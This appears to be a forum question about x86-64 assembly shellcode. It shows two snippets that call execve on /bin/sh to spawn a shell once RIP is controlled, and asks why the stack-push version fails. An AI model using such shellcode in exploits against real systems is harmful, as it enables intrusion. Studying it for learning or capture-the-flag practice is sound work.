push /bin/sh to get a shell

push /bin/sh to get a shell

I usually use a different method to push /bin/sh in rdi to get a shell, but I wanted to try this one : Put in case that I can control the RIP and there are no limitations or filters. So I can execute the assembly code as I want.

 mov rax, 0x0068732f6e69622f
push rax
push rsp
pop rdi
mov rax ,0x3b
xor rsi, rsi
xor rdx, rdx
syscall

lea rdi, [rip + shell]
mov rax, 0x3b
xor rsi, rsi
xor rdx, rdx
syscall

shell:
  .string "/bin/sh"

While I usually use the above one, I don't get why the first one isn't working. I also used GDB to verify and everything seems to be good and in the right positions. In addition to that I also get in dgb:

process 8870 is executing new program: /usr/bin/dash.

Why it doesn't work?